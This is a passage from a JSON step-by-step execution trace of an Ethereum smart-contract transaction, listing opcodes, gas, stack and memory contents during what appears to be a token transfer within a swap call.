000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12024,"op":"SHL","gas":79026,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12025,"op":"SUB","gas":79023,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12026,"op":"AND","gas":79020,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12027,"op":"LT","gas":79017,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12028,"op":"PUSH2","gas":79014,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12031,"op":"JUMPI","gas":79011,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x2f05"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12032,"op":"DUP2","gas":79001,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12033,"op":"PUSH2","gas":78998,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12036,"op":"JUMP","gas":78995,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2f07"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12039,"op":"JUMPDEST","gas":78987,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12040,"op":"SWAP1","gas":78986,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12041,"op":"POP","gas":78983,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":12042,"op":"PUSH1","gas":78981,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1204